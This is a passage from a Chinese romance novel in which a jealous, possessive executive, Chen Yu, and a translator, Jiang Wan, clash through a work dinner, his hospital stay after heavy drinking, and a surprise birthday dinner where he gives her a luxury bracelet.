尽管已经极力控制了,可好几次他的目光还是落在姜挽身上,她貌似对游戏也不大热衷,表情淡淡的,总是游离在那些人之外。 可她这不开心,又是因为什么呢? 晚餐还是北城菜,因为他在,饭桌上周海难免会活跃一下气氛,和他敬酒也是必不可少的环节。其他人的,陈屿都喝了,到姜挽的时候,他原本想故意推迟一下,可一抬头看见她小心翼翼的眼神,湿漉漉的目光,瞬间觉得烦躁。 她总是这样,明明他才是受害者,他才是最该伤心的那一个,可她却表现得好似受了多大委屈似的,让他心底发软,让他不知如何抉择。 两股矛盾的情绪对冲,陈屿心底一口气上不来,甚至都没等姜挽把话说完,烦躁地端起酒杯,一饮而尽。 他是烦躁,可看在其他人眼睛里就是爽快了。 陈屿能来,已是给足了他们面子,又这么干脆地接受他们的敬酒,在场的那些人难免会有些飘飘然,一时间气氛变得格外轻松,大家便都敞开了聊天,开始四下走动。 醉意和朦胧开始上涌,笑声和热闹开始肆意,在这推杯换盏,喧嚣鼎沸之下,陈屿来者不拒,沉默着喝了一杯又一杯。 不远处的姜挽看着他,眉心微皱,大家都说是因为他心情好,才会如此爽快,可看在姜挽眼里,却并不是这样。 正忧愁,陈屿突然朝她看了一眼,而后指向自己旁边的酒瓶,那意思是瓶子空了,让她拿新的。 公众场合,姜挽没有拒绝的理由,只不过她把瓶子拿过去后,却没有立即给他倒:“陈总,您已经喝了不少了。” 知道这句话出口难免会有一顿冷嘲热讽,可姜挽还是“冒死进谏”。 果然,陈屿听完后冷笑了一声,好在倒是没说什么,只是从她手中接过酒瓶,自己把酒倒上了。 他一杯接一杯,和刚才比,简直有过之而不及。 姜挽沉默地坐在旁边,陈屿没催她,她也就没走,好一会儿,才终于再次鼓起勇气开口,这次是询问:“您是不是遇到什么事了?这么喝下去也不是办法,有事还是说出来比较好。” 话音落,陈屿突然朝她看过来,四目相对,姜挽几乎陷在他幽深的瞳仁里,一眼看不见底。 木质香,还有酒的淡香,一瞬间让姜挽有些发晕。可让她更晕的,是陈屿接下来这句话。 “这么明显的借酒消愁,姜小姐看不出来吗?” 姜挽有些尴尬,不知该如何接这话,很显然,她还不够格让他把这“愁”当着她的面讲出来。 一阵沉默,反而是陈屿先发出一声嗤笑,他故意挑眉,端起酒杯,睨着眼来看她:“你这么关心其他人,你男朋友知道吗?” 虽然并没有“男朋友”这个人的存在,姜挽也并不明白话题是怎么扯到这里的,可此刻她的重点已经不是这些了,而是陈屿的语气,赤裸裸明晃晃的讽刺,让她觉得自己好似真犯了天大的错一样,让她觉得不舒服。 聊不下去了,姜挽也不想和他争吵,起身打算走,陈屿像是早料到会是如此,盯着她的背影,猛灌了一大口酒。 结束的时候,已经十点半了,因为大家都喝了不少酒,所以门口聚集了一堆打车和叫代驾的,姜挽也在这其中。可能是她的距离比较偏,一连好几次接单都被司机取消了,最后其他人都走了,只剩她一人还在等待。 又过了几分钟,还是没有人接单,姜挽就想往前走一段试试,要是再叫不上车,至少她还可以赶上地铁。 夜里静,风低语,独自走在昏黄的路灯下,姜挽抬手裹紧了大衣。她低着头,没注意到周围的情况,正打算过马路时,突然一辆黑色迈巴赫在她身边停下,接着后座车门打开,一道冷冽的声音从里面传出:“上车。” 这个声音,姜挽听一下就认出来了,是刚刚还在饭桌上对她冷嘲热讽的陈屿,可她刚才明明看到他已经叫了代驾离开了。 姜挽没上车,微微弯下腰,隔着一段距离和他对视。 陈屿很明显对她没什么耐心,但也不想再重复第二次,两人就这么看着。隔了一会儿,还是前排的代驾开口了:“小姐,要不您先上车吧,这里不能停太长时间的。” 姜挽深吸一口气,弯腰进去,关上车门。立时一股浅淡香味袭来,夹着淡淡的木质香,像秋天里某种焦焦的果子。 “先送她回去,芳草街十五号。”陈屿丢出来一句,说完后,他靠向靠背,阖上眼皮,很明显不想再和她多说一句话。 姜挽也很自觉,没再发出一点声音。她猜测刚才陈屿应该是正好走这条路,又正好看见她孤零零一个人走在路上,大发善心,才想着顺道送她一程。 一路都很安静,能听到窗外的风声和汽车引擎运作的声音。 刚才聚餐时,姜挽也喝了一点酒,虽不多,可在当下这温暖的环境里待久了,更何况又是这个时间点,难免也有些困意,不知不觉间,她也闭上了眼睛。 再次醒来时,是被手机振动吵醒的,思绪还没完全清醒,姜挽眯着眼睛去看,待看清来电号码后,立马吓得清醒了过来。 “喂,有什么事吗?” 是康复中心打来的电话,这个时间点,要是没有特殊的情况,他们是不会轻易联系家人的,所以,姜挽很紧张。 果然,电话那头的人开口:“姜小姐,抱歉这个点打扰你,是你妈妈出了一些状况,你现在方便吗?” 姜挽将手机音量调小,瞥了一眼旁边的陈屿,注意到他还在睡觉,这才朝窗户的方向侧身,小声开口道:“方便,你说。” 电话里,对方告诉她,沈曼今天突然又发病了,吵闹了一晚上,到现在都不肯睡觉,她们怎么哄也劝不住,担心会发生什么事情,所以只能给她打电话,问她要是方便的话,现在能不能过来一趟。 姜挽很果断地就答应了,只不过因为陈屿在旁边,她没说太多。 其实,就算她不说,陈屿也能猜到,看她避着他,听她小心翼翼地回答,又果断答应了,不用想,他也知道是谁。 心口处一阵尖锐的疼痛,陈屿没睁眼,继续保持着闭目养神的姿势。 车子很快到达芳草街十五号,姜挽道了谢,打算下车。 在她推开车门之际,陈屿叫住了她:“姜挽,”他还是没忍住,“你一会儿还有其他的事儿?” 姜挽动作停住,想了想,还是开口:“没有,我直接回家,谢谢你今天送我回来。” 看着车门在眼前关上,陈屿忍不住自嘲地笑了。 他没走,而是给了代驾双倍的钱,让他先离开了。 黑夜里,陈屿坐在车里,一根接一根地抽烟。没多久,他便见着姜挽再次出来,前后不过十分钟,还是刚才那套衣服,就这么等不及吗? 烟蒂在指尖捻灭,有猩红跳跃出来,陈屿不是没想过就这么跟着她,但他不敢,他怕亲眼看见她和别人在一起,他怕是会杀人。 第67章 眼泪 陈屿从来没觉得时间过得如此漫长。 他闭上眼睛, 坐在车里,关闭了所有的电子设备,黑暗里,没有一点光, 所有的感官都集中在听觉, 能听到车窗外北风卷着树梢的声音, 像呜咽。 他知道自己不能想, 也不该想, 可又控制不住地去想。她还在路上?或者已经到了?又或是他来接她了?他们已经见面了? …… 陈屿皱着眉, 猛地从黑暗中睁开眼,一手抵着胸口,一手去拿手机。拿到后, 没有任何犹豫, 当即点开了相册。 浅淡的月光透过车窗落进来, 照得他手机里的照片似镀上一层银辉, 陈屿一张张翻过去,全是姜挽。 有她高中时候的, 当年在江城他偷拍的, 还有前段时间勘测外景时她在他车上睡着的那张,从头到尾, 循环往复, 陈屿来来回回地翻看。 像以往任何一次难熬的时候一样,这些照片是他的解药, 她不在的时候, 都是它们陪着他的。 凌晨的时候落了雨,陈屿夹着烟,站在雨中。冷风, 雨夜,还有淋漓的潮湿和绝望,他被冻得指尖发白。 可他此刻就需要这样,需要这一切来冷却自己的内心,选择让自己痛苦,而不是去做一些会失去理智,伤害到她的事情。 凌晨六点的时候,姜挽终于从外面回来了,她行色匆匆,因为走得快,并未注意到路边的陈屿。可陈屿却看着她,从路边到小区,再进门。早晨的雾气重,那身影几下便消失了。 陈屿已经不记得当天他是怎么叫的代驾,又是怎么回的家,只知道回家后浑浑噩噩地过了两天,整日和烟酒作伴,再次清醒过来时,已经是在医院了。 床头坐着孟云程,见他醒来,第一件事既不安慰,也不问询,而是劈头盖脸就把他骂了一顿:“我说你他妈怎么回事?竟然能喝酒喝到胃出血?有这么糟蹋自己身体的吗?要不是我联系不上你,担心出事去家里找你,你现在人怎么样还不知道呢!” 陈屿沉默听着他的话,也不反驳,注意到手上的留置针,起身打算拔掉。 “你干什么?”孟云程一把拦住他,怒吼道,“你他妈真不要命了?” 陈屿被他吼,也没说什么,阖上眼皮,重新躺回床上。 其实他刚才只是想去上厕所,但从心底里觉得孟云程说的也没错,他是不想要这条命了,姜挽都和别人在一起了,他活着也没个什么劲。 看他这样,孟云程又有些心疼,气出了,火也发了,到头来,他还是担心他:“我知道你这样是因为谁,你要是再这样,我可就把姜挽喊来了啊?” 果然,提到这个名字,陈屿愣了一下,孟云程还以为他是怕了,正想再吓他几句,谁知陈屿却开口:“不要在我面前提她的名字,我不想看见她。” 他的语气虽冷,可眼底却炙热,和他认识这么多年,没人比孟云程更了解他。 孟云程叹一口气:“我也不清楚你们两个之间到底发生了什么,可你要是还喜欢她的话,就好好和她谈谈,何必要这么互相折磨。” “我不喜欢她,我只是不能原谅她。” “你……!”孟云程被他气得够呛,简直觉得他不可理喻,“你就嘴硬吧!我懒得管你。” 他起身,打算出门,陈屿看见他的动作也没说什么,疲惫闭上眼,丢下一句:“出去的时候把门带上。” 从病房出来,孟云程找了个安静的地方打算先给姜挽打个电话,他本来是去给陈屿买饭的,临走前还是觉得这事得和姜挽说一声。 陈屿是他的兄弟,眼睁睁着看着他痛苦成这样,自己却什么都不做,孟云程做不到。 姜挽那头接得很快,只不过听起来她很忙,因为背景声里来回全是敲键盘的声音。 “方便接电话吗?”孟云程先问她。 “方便,你等我一下。”知道孟云程给她打电话肯定是有事,姜挽把翻译文件点了保存,拿着手机来到楼梯间,“怎么了?发生什么事了吗?” “是陈屿,他住院了。”孟云程没和她绕弯子。 “住院?”姜挽瞬间惊慌,刹那间心仿佛提到嗓子眼,“他怎么了?生病了?还是出什么事了?严重吗?现在在哪个医院?” 见她这么着急,孟云程便知这事儿不是陈屿一个人在折腾了,他叹一口气,觉得感情这事儿真是麻烦,两个人为什么就不能好好坐下来谈一谈,把事情解决了呢? 可转念一想,要是真有那么简单的话,他和尤伽也不至于兜兜转转了这么多年,至今两人甚至连对方心里的真正想法都不清楚。 “你先别着急,只是轻微胃出血,已经办理住院了。”孟云程安慰她。 可姜挽的情绪却一点也没被安慰道:“好好的怎么会胃出血呢?之前也没听说过他有胃病?是发生了什么吗?” “喝酒,”孟云程言简意赅,“酒喝太多了,再好的身体也抵抗不住。” “可他为什么突然喝这么多酒?”姜挽还是不明白。 “这个你还是自己问他吧,”孟云程有点逃避这个话题,“对了,我今天给你打电话就是想问你,下班后有时间的话,能不能去看看他。他现在情绪不太好,而且除了我们几个高中同学,他其实在北城也没什么其他的朋友,你要是方便的话,能不能去看看他?” “当然可以,”就算孟云程不提这个,姜挽也会主动问的,“麻烦把医院地址和病房号发我一下。” “好。” 挂了电话,姜挽没等下班,把手上重要的文件处理完后,她便找到周海,提出想请半天假。 来GSC的这段时间,她的工作能力和工作态度一直都是有目共睹的,周海自然同意,甚至还主动问她是不是遇到了什么问题,要是有困难的话,可以提出来,大家一起帮她。 陈屿的事,姜挽当然不会随便说出来,婉拒了周海的好意,她便立马叫了一个车,按照,孟云程给的地址报给司机了。 一路上,她焦急地看了好几次时间,连司机都忍不住问她:“小姑娘,医院里是你什么人啊?这么着急。” 姜挽想都没想:“一个对我而言很重要的人,麻烦您能不能再快点?” 见她这样,司机便知是怎么回事了:“得嘞,你坐稳了,我给你飙到最快速度。” 陈屿躺在病床上,病房外突然响起敲门声,他住的是VIP病房,一般不会被打扰,除非是经过他或者家属同意的探视人员。 他以为是孟云程又回来了,刚刚才吃完他买回来的清粥,正打算睡一会儿,陈屿觉得他麻烦:“你又有什么事?” 可房门打开,站在门口的人却不是孟云程,而是姜挽,这几天来来回回出现在他梦里,陈屿想见又不敢见的人。 他有一瞬间的微愣,随即冷漠开口:“你来干什么?谁让你来的?出去。” 姜挽一上来就吃了闭门羹,也有点愣住,可她想到孟云程说的陈屿状态不好,又注意到他手上的留置针,没说什么,默默关上房门,将带过来的水果放在桌上。 “怎么?装听不见?我说让你出去,没听见吗?” 陈屿比刚才还要咄咄逼人,姜挽担心什么都不说会更激起他的不满,只得解释道:“我没别的意思,就是来看看你。” “不需要。”陈屿一句话把她堵了回去,“死不了。” 两人隔空看着,沉默对视,一个是愤怒,一个是无奈,各自搅动着属于自己的情绪暗涌,各自有自己的倔强。 最终,还是姜挽先服了软,看见桌上放着的东西有些乱,她走过去,想要帮忙收拾整齐,可手刚伸过去,就被陈屿拦住,接着那些东西便被他全部推到了地上。 “呼啦啦”一阵声响,散落的不只是桌上这些东西,还有她那在他面前本就所剩无几的自尊心。 “假惺惺。”偏偏这个时候,陈屿还要再加上一句。 姜挽很慢地眨了一下眼睛,沉默良久,最终才开口:“既然你这么讨厌我,那我就不打扰你了,我先走了,你好好休息。” 说罢,她没再停留,拿起挎包,打开房门便走了出去。电梯人太多,姜挽没选,她拐去了楼梯的方向。 可没想到刚走两步,身后一道身影便冲了过来,熟悉的清冽沉木香,是陈屿,两人四目相对,隔着极近的距离对视着。 路被拦住,姜挽没办法再走,她没看他,“还有事吗?” “凭什么你想来就来,想走就走?”陈屿尖锐地反问。 姜挽猜测应该是她刚才的行为惹怒了他,好脾气地和他解释:“我不是这个意思,刚才是你让我走,我才走的。” “我让你走,你就走?”陈屿讽刺地笑了,“你就这么听话?你在别人面前也这么听话吗?” 这话很乱,又无厘头,姜挽皱眉:“那你说吧,你想让我怎么样。” 想让她怎么样? 他要是知道的话就好了,也不至于像现在这么痛苦。 头顶传来脚步声,有其他人从楼上下来了。姜挽不想让别人看见他俩现在这个样子,于是便打算先回病房再说。 可陈屿却误会了,他以为她又要走,这些天压抑的所有愤怒和痛苦在这一刻终于爆发,他一把抓住她的手腕,将她堵在墙角。 他手劲儿实在大,姜挽忍不住皱眉惊呼“痛。” “痛?你也会知道痛吗?”陈屿嘴上虽这样说,可手上到底还是松了劲儿。 姜挽趁机动了两下,没用,只得和他开口:“你先放开我。” “放开你?”陈屿冷笑,或许是因为生病,他现在看起来和平时有些不大一样,眼底有股偏执的疯狂,“怎么放开你?今天不是你自己过来的吗?现在又让我放开你?再说,我放开你了,我怎么办?谁又来放过我呢?” 姜挽觉得他有些奇怪,说的话也听不太懂,正打算挣扎,垂眸瞥见他手上留置针的位置正涓涓往外冒着鲜血,瞬间不敢再动了:“你先松开我,有话慢慢说。” “慢慢说,”陈屿重复她的话,“好啊,那你就说清楚,你今天来这里到底是为了什么?来看我笑话吗?看见我现在这样,你是不是很得意?” “我没有,你到底……” 陈屿根本不听她说:“还是你觉得我可怜?百忙之中还不忘抽出时间来可怜我?我倒是想问问你,你应付完别人,又来应付我,时间够吗?忙的过来吗?” 姜挽其实听不太懂他在说什么,但隐约之间也能感觉到他的这些话存在很明显的暗示意味,况且这种话,他已经不是第一次说了。 也许是痛,也许是觉得屈辱,姜挽没忍住,眼眶酸涩得厉害,两行眼泪终于还是滑落了下来,她赶紧别过头去,不想让他看到。 可已经晚了,陈屿还是看到了。他不仅看到,那滚烫的泪水还顺着她脸颊落在了他手背上,烫了他的手,也烫了他的心。 一瞬间,陈屿有些茫然,下意识便松开了抓着她手腕的手,心口疼得发紧,他不得不转过身去,背对着她用右手撑住。 “你又这样!” “你总是这样!” “除了这招,你还会什么?” 明明错的人是你,明明是你和其他人在一起了,可为何看见你的眼泪,我还是会心痛得无法呼吸。 他这样,姜挽害怕,还以为他胃又不舒服了,连忙跑过去:“怎么了?是不是胃不舒服了?要不要先扶你回去?” 陈屿垂眸看着她的手腕,那里一片通红,是刚才自己用力抓的,他盯着看了许久,什么都没说,随即转身朝着病房走去。 姜挽想跟又怕他生气,只得在原地看着他的背影,正犹豫,前面的陈屿突然停下脚步:“你不回去?” “我……” “你今天不是来看我的吗?” “是。” “那你还等什么?” 回了病房,陈屿也没和她说话,而是直接接通了医院内线,让护士帮忙送点活血化瘀的药过来。 姜挽还以为他不小心碰伤了,正担心,直到这药送上来,陈屿转手递给她时,她才意识到这药是他帮她要的。 可姜挽并没觉得自己哪里需要:“这是?” 陈屿像是懒得和她解释,很随便地指了指她手腕的位置。 姜挽随着他的动作去看,这才注意到手腕处确实有一片红痕,应该是刚才被他捏的,她有些不自在,连忙用衣袖将红痕遮住:“不碍事,不用涂药,一会儿就好了。” 陈屿像是没听到般,很坚持:“自己涂,还是我帮你涂?” 看出来他不是在开玩笑,姜挽有刹那间的沉默,可沉默过后,还是得选择:“我自己来吧。” 陈屿很干脆,将药膏放在桌上后,便离开了。 他回到床上,姜挽坐在旁边,各自忙着自己的事情,一直到姜挽把药涂完,谁也没再开口说一句话。 担心待得时间久了,会引起他反感,涂完药没过多久,姜挽便起身打算离开了:“没什么事的话,我就先走了,你好好休息。” 话音落,陈屿这才抬眸看了她一眼:“回公司?” “不是,”姜挽不知他问这话是何意,只得实话实说,“我请了半天假。” “那刚好,我这有份资料需要翻译,你来做。” “嗯?”姜挽震惊,她压根没想到会是这事。一时间,陈屿住院还要工作,和她请假还得翻译这两件事,她也分不清是到底是哪件带给她的震感更大。 “怎么?不愿意?” “没有。” 姜挽也不知道陈屿这资料是从哪里找的,晦涩,复杂,还全是一些专有名词。一篇不长的说明,她整整翻了两个小时。 好不容易结束了,起身时,她甚至觉得自己已经开始眼冒金星了。可陈屿明显并不打算轻易放过她,离开前,还刻意吩咐:“明天这个时候,再过来翻。” 姜挽听完后一愣,虽然她对陈屿住院的事情很同情,可这要求,未免也太“资本家”了。 “今天我是请假来的,明天怕是没有时间。”她委婉提醒他。 “我会和周海说,算你出外勤。” 屋内陡然安静,片刻,姜挽再次开口:“出外勤太麻烦了,不然这样,你把文件发给我,我在公司翻也一样的。” 陈屿斜睨她一眼,像是知道她在想什么,彻底斩断她的退路:“我做事讲究效率,也有自己的方法,你不需要说这么多,照做就行。” 第68章 心迹 陈屿的出院日原本定在十二月三日, 可他在十一月三十日这天,便要求医生给他办理了出院。 医生其实也不明白,为何已经做到他这个位置了,还是连生病都不愿意多休息几天, 况且以他目前的情况来看, 多休息几天对身体恢复绝对是有好处的。 可陈屿的命令, 他也不敢不听。 陈屿从医院离开时很轻松, 东西没怎么收拾, 晚点宋泽宇会来帮他处理, 主要是这几天姜挽留在这里翻译的文件,他得带走。 到家后,他先订了一家餐厅, 又联系蛋糕店准备蛋糕, 所有的一切都亲力亲为, 认真仔细地为明天做准备。 重逢后她的第一个生日, 陈屿看得比什么都重。 次日周六,姜挽一觉睡到下午两点才醒, 前几天帮陈屿处理翻译的事情消耗了太多脑细胞, 再加上昨晚熬夜了,即便是现在才起, 她也还是感觉脑袋里昏昏沉沉的。 这个点起来, 早午饭肯定是一起吃的,简单做了碗面, 她边吃边随意浏览着网页推送的新闻。 姜挽今天没什么特别的学习计划, 打算吃完饭先把家里简单收拾一下,就去看看沈曼。上次的事情虽然解决了,但照顾沈曼的护工也说了, 可能和天气有关,冬天人容易抑郁,情绪自然也就会低落,让她有时间还是多来两趟。 下午四点,姜挽准时从家里出发,刚上地铁,手机里突然进来一条微信消息,是陈屿发来的:【有翻译要做,来公司一趟。】 姜挽这些天已经对这几个字产生身体反应了,看到后的第一感觉就是手酸,她这会儿实在是不想去,而且已经坐上地铁了:【抱歉,现在可能不太方便,能不能下周一去了公司再做?】 【在家?】 【不在。】 消息发出去,好一会儿陈屿都没再回复,就在姜挽以为他不会回答,这事儿就这么结束了的时候,陈屿却突然打了电话过来。 姜挽被吓一跳,地铁上人多,她连忙找了个人稍微少点的角落:“喂。” “你在哪?”陈屿言简意赅,声音很冷,隔着手机也能感觉到他的怒气。 姜挽还以为是因为刚才拒绝他的原因,于是耐心和他解释:“真的很抱歉,我这会儿有事,已经出门了,不方便再去公司,要不……” “我问你在哪儿?”陈屿打断她,语气比刚才还要冷。 “地铁上。” 生日,不在家,地铁上,这几个字联系起来,陈屿稍想一下,就能猜到是因为什么了。 他们会见面,会拥抱,会一起吃饭,甚至还会…… 心脏像是被一只看不见的手攥住,一吐一吸间,他窒闷得难受,整个人像是被丢进深不见底的泥潭,不见天日,暗无天光,有一种人生就此烂掉的感觉。 “我不管你现在在哪儿,又要去见谁,现在都必须停下,立马来公司。” 姜挽觉得他有些不讲道理,平时也就算了,今天她是真觉得疲惫:“抱歉,请你理解,今天我真的不太方便。” “方不方便不是你说了算。” 被逼得没办法了,姜挽叹一口气:“陈屿。”重逢这么长时间,她极少叫他名字,电话那头的陈屿听到后也是一愣。 “你即便再讨厌我,也应该有个度吧?” 话音落,一阵沉默,但姜挽知道他在听:“今天是星期六,我真的有事,有什么能不能周一去了再说,或者等我晚点回来再做?” 这话,已经相当于是祈求了,一瞬间,陈屿心脏钝痛,他也在想要不就此放过她算了。 可放过她,谁又能放过他呢? 他这些年的坚持算什么?以后又该用什么理由继续坚持呢? 越是这种时候,心底的执念就越是清晰:“姜挽,你还记得当初在宁城时你说过什么吗?” 姜挽当然记得了,那次他救了她,她说后面有需要帮忙的,她一定尽力。 果然,陈屿如是说:“我要你现在就兑现承诺,现在就停下手上所有的事情,来找我。” 身边有人下车,姜挽被推了一下,她攥着电话,嘴唇紧抿。 两厢沉默,各自对峙。 姜挽先开口:“好,我现在就去公司。” 赌赢了,可陈屿却并没有想象中开心:“不用,告诉我地点,我去接你。” 姜挽抬头看一眼站点:“林关。” 半小时后,陈屿出现在林关地铁站。开门,上车,系安全带,姜挽沉默着做完了所有,陈屿一直目视前方,很明显也没有想搭理她的意思。 车子一路往南开,周六的路上车流很多,一路走走停停,很快姜挽便感觉胃里有些不舒服。 为了缓解这难受,她将车窗打开一条缝,脑袋靠近车窗的方向,全程闭着眼睛。 一路昏昏沉沉,也没顾得上看,直到下车后姜挽才发现,陈屿带她来的不是公司,而是一家装修豪华的餐厅。 姜挽以为他搞错了:“不是说去公司吗?” “我饿了。” 陈屿倒是没反驳,只是这语气实在是敷衍,还有他的回答,让人有一种一拳打在棉花上的无力感。 着急忙慌,义正言辞地把她叫来,这会儿又满不在乎,慢悠悠地要去吃饭,姜挽顿时有一种被人捉弄的感觉。 饶是她脾气再好,也会有被触及底线的时候:“那你吃吧,我现在去公司加班。” 她要走,却被拦住:“吃完再去。” 姜挽很坚持:“我不饿。” “不饿也得吃。” “陈屿,你能不能讲点道理?”姜挽终于爆发了,她长睫微颤,有股破罐子破摔的决然,“今天是周六,不是工作日,我本来是有其他安排的,是你一再要求,我才放下其他事情来加班。可现在呢,你倒好,又不去公司了,突然要来吃饭,还非得要求我陪着,就连我说了我去公司加班都不行。” 越说,姜挽越觉得委屈:“是不是在你眼里,别人的时间都不是时间?别人的想法和意愿也没有任何意义?我拜托你,能不能稍微学着换位思考一下,学着尊重别人一下?” 她说了这么多,听在陈屿耳朵里就只有一句话,那就是因为他的原因,打扰到她和裴思的约会了。 一瞬间,嫉妒占据了上风,原来过来路上做好的心理建设顷刻间便崩塌了,陈屿太阳穴突突跳得厉害,胸腔的位置更是像有一团火:“对,我就是这样一个人,小心眼,霸道,不懂得尊重人。我就是见不得你们卿卿我我,就是要拆散你们,怎么,不行吗?” 姜挽微愣,迷茫地看着他。 她能感觉到他的愤怒,却理解不了他的意思,什么“卿卿我我”,什么“拆散你们”,这些她压根听不懂,她只能从最简单的角度,最直接的方法来分析他这句话:“你就这么讨厌我吗?讨厌到不惜牺牲自己的时间来为难我?” 陈屿皱眉。 “既然这样,我离开GSC好了,让沈繁星再派一个翻译过来,你眼不见心不烦。” 说这话的时候,她眼底一片沉寂,像是燃烧之后的灰烬,又仿佛永无明日的暗夜,陈屿被她这眼神吓到,理智恢复几分,反应过来:“所以,你觉得我叫你出来,是因为我讨厌你?是在故意报复你?” “难道不是吗?” 陈屿叹一口气,话说到这份上,已经由不得他了。 “姜挽,今天是你生日,”他声音很轻,眼底墨色浓重又哀伤,“这么多年了,我只是想亲口和你说一句生日快乐,这个要求不过分吧?” 这么多年,他日日盼,夜夜盼,终于等到了这一天。 他还想说自己很想她,想问她有没有想过自己一点。 可也只是想想罢了。 姜挽不可置信地看着他。 这些天,她一直忙着翻译的事儿,真的是一点也没想起来。 况且,她也实在不明白陈屿刚才那句话的意思。 所以,他今天折腾这么一通,就是为了和她说一句“生日快乐”? 可是,为什么呢? 灯光昏暗,影影绰绰,姜挽很慢地眨了下眼睛:“我看不懂你了。” 陈屿就知道会是这个结果,他本来也没抱什么希望:“看不懂就看不懂吧,先去吃饭吧。” “可是……” “先吃饭。” 即便是要被拒绝,他也想要慢一点。 慢一点,再慢一点,至少让他吃完这顿饭。 跟着他,姜挽进了饭店。 即便是已经有了心理准备,想到了这顿饭大概和她的生日有关,可当真正来到饭店时,她还是被震撼到了。 超大落地窗映透着窗外的璀璨夜景,悠扬琴声诉说着月色的沉静与温和,红酒,鲜花,还有包装精致的生日蛋糕,所有的一切看起来都太正式了。 与其说是一次临时起意的随意便饭,不如说是一场精心准备的浪漫约会更为合适。 …… 姜挽停止思绪,不敢再多想。 落座,姜挽看着对面的人,等他先开口。 可很奇怪,陈屿此刻却异常沉默。 一顿饭,除了偶尔几次会帮她夹菜,再没任何话。 沉默。 从饭店出来的时候,天已经黑透了,她和陈屿一前一后走在车库里。 到车旁,姜挽实在忍不住了:“现在去公司吗?” “不了,送你回去。” 姜挽默然,还真是……莫名其妙。 莫名其妙来,又莫名其妙地走,还有陈屿刚才的那些话,也是不明所以。 回去的一路比来时更堵,静谧的空间,暖和的温度,不知不觉间,姜挽便觉眼皮变得沉重。 再次醒来时,车子已经停了,陈屿不在车上。 姜挽奇怪,正打算推开车门下去,刚抬手,有什么东西突然从她身上滑了下去,丝滑,温暖,还带着一股熟悉的浅淡沉木香。 她忙弯腰捡起来看,是陈屿的外套。 视线这时再往窗外看,便能看到陈屿的身影了,他身着单衣,站在一棵悬铃木下,似乎正在打电话,微低着头,指尖的猩红明明灭灭。 姜挽将外套仔细叠好,放回驾驶座上,再次将视线投向窗外,她极少有机会能够这么长时间地,仔细地看着他。 自重逢后,两人便一直处于一种紧绷的状态中,经常就是两三句话就能吵起来,连正常沟通都少,就更别说像现在这样肆无忌惮地盯着他了。 不可否认,他比以前更成熟,也更帅了,只是那么站着,肩宽腿长,身材孤拔,浑身上下都散发着一股上位者的矜贵与清隽。 正看着,陈屿突然朝她看了过来,姜挽连忙收回视线,装作什么都没发生。 很快,驾驶座那侧的车门被打开,随着陈屿一起进来的,还有一股清寒之气,他看了眼座位上的外套,没说什么,很自然地拿起来穿在身上:“醒了?” “嗯。” “我刚才下车接了个电话。”陈屿和她解释,至于为什么要下车去接,他没说,但心里清楚,是担心影响到她。 “嗯。”姜挽还是这句话,和陈屿长时间接触下来让她明白一个道理,那就是不知道的事情尽量少问。 “现在送你回去。” “谢谢。” 这会儿他们正停在小路边,从市区出来,后面的路程就快了,不到十五分钟,车子在姜挽小区门口停下。 打开车门,姜挽准备下车,陈屿却突然叫住她:“等一下。”然后从后座拿出一个白色的纸袋子递给她。 “这是?”姜挽没敢接。 “今天是你生日。”陈屿直接塞进她怀里。 所以这是给她的生日礼物? 姜挽愣住,以他们二人目前的关系,她压根没觉得到了需要送礼物的地步。 “这个我不能……” 她刚开口,陈屿就打断她:“不是什么值钱的东西,”他像是急,又有些不耐烦,“下车吧,一会儿我还有别的安排。” 他都这样说了,姜挽不敢再耽误,果不其然,她前一秒刚下车站稳,后一秒陈屿就一脚油门离开了,看来是真的急。 回到家,姜挽将纸袋仔细收起来,打算哪天有机会再还给他,放进抽屉的瞬间,突然被纸袋上的图案吸引,还有那几个字母,“VCA”,好熟悉,总觉得在哪里见过。 突然间,她想起来陈屿之前送她的那条手链,就是当初被他扔了,她又捡回来的那条。从抽屉里拿出来一对比,果然外包装是一模一样的。 怀着某种难以言喻的心情,她把陈屿今晚送的纸袋打开,越往里,越难以抑制心情,像有什么心潮澎湃的东西,一下下鼓噪着她的内心。 一样的白色纸袋,相似的浅绿色包装盒,在最后打开包装盒前,姜挽深吸了一口气。 很快,那口气缓缓地吐出来,和她猜的一样,和之前那条手链是一个系列的。红色玉髓搭配金色链条,在沉静微凉的月色下,透着闪耀的光。 记忆一下子回到八年前。 “这手链不便宜吧?” “便宜,就几十块钱,你戴着玩儿就行。” 当时的姜挽自然猜不到这条手链的价格,可时隔这么久,经历了这么多,就算没买过,她也知道了这家鼎鼎大名的奢侈品牌。 这条手链,还有这条项链,绝对不是他口中几十块钱的东西,价格是几十倍,甚至几百倍都不止。 这么贵重的礼物,姜挽不能收。 她正准备给陈屿打电话,门外突然响起敲门声,是合租的室友:“姜挽,你这会儿方便吗?有件事想和你说。” 她们虽然合租,但一般接触也不多,不是什么重要的事,大家基本都在群里通知,她们这会儿来找她,肯定是有重要的事。 姜挽把东西收好,锁进抽屉里,然后去开门:“方便,进来吧。” 门外两个室友都在,和姜挽开门见山,她们是来说退租的事的,一个是因为换工作,另一个则是要回老家,都是到下周就不租了。 “这么突然?”姜挽听完后的第一反应就是这个,不仅时间短,而且一下还走两个,她真是一点准备都没有。 这套房子其实是她整租的,她先和中介签合同,后续又自己找的其他人合租。这下她两个室友要一起走,就意味着姜挽要同时再找两个人。马上到年底,对租房有新需求的人其实不多,这事其实挺难办的。 提出这个需求,那两个室友也觉得突然,挺不好意思的,毕竟有合同在,她们这也属于提前退租,便主动提出按合同执行,她们也都接受扣除一部房租和押金,算是对姜挽损失的一点补偿。 她们主动提出来,姜挽很感动,可毕竟合租一场,大家平时相处得也不错,况且换工作回老家,这些也都是再正常不过的事情,姜挽是不会在这些上斤斤计较的。 而且,她一开始也就没打算占她们便宜:“不用了,多出来的房租和押金我会全部退给你们,你们这几天就忙自己的吧,搬家也不是一件容易的事,其他就不用管了,后续再找室友的事情我来处理就好。” 那两个室友可能也没想到姜挽会这么好说话,一时竟有些愣:“真的?这样会不会不太好?” “没什么不好的,大家能认识也是一场缘分,你们不用管了,忙自己的吧。” 接下来的几天,姜挽都在忙着找室友的事,网上发布房源,随时随地回复别人的问题,还得在下班时间带有意向的人看房,每天都忙得团团转,基本都是到夜里一两点才能躺在床上。 可偏偏,还没什么结果。来看房的人倒是不少,只是下定决心合租的却一个也没有,要么就是嫌弃位置偏了,要么就是觉得房间太小了,总之就是各种不满意。 时间长了,连姜挽都忍不住开始怀疑,这个房子真有那么差吗? 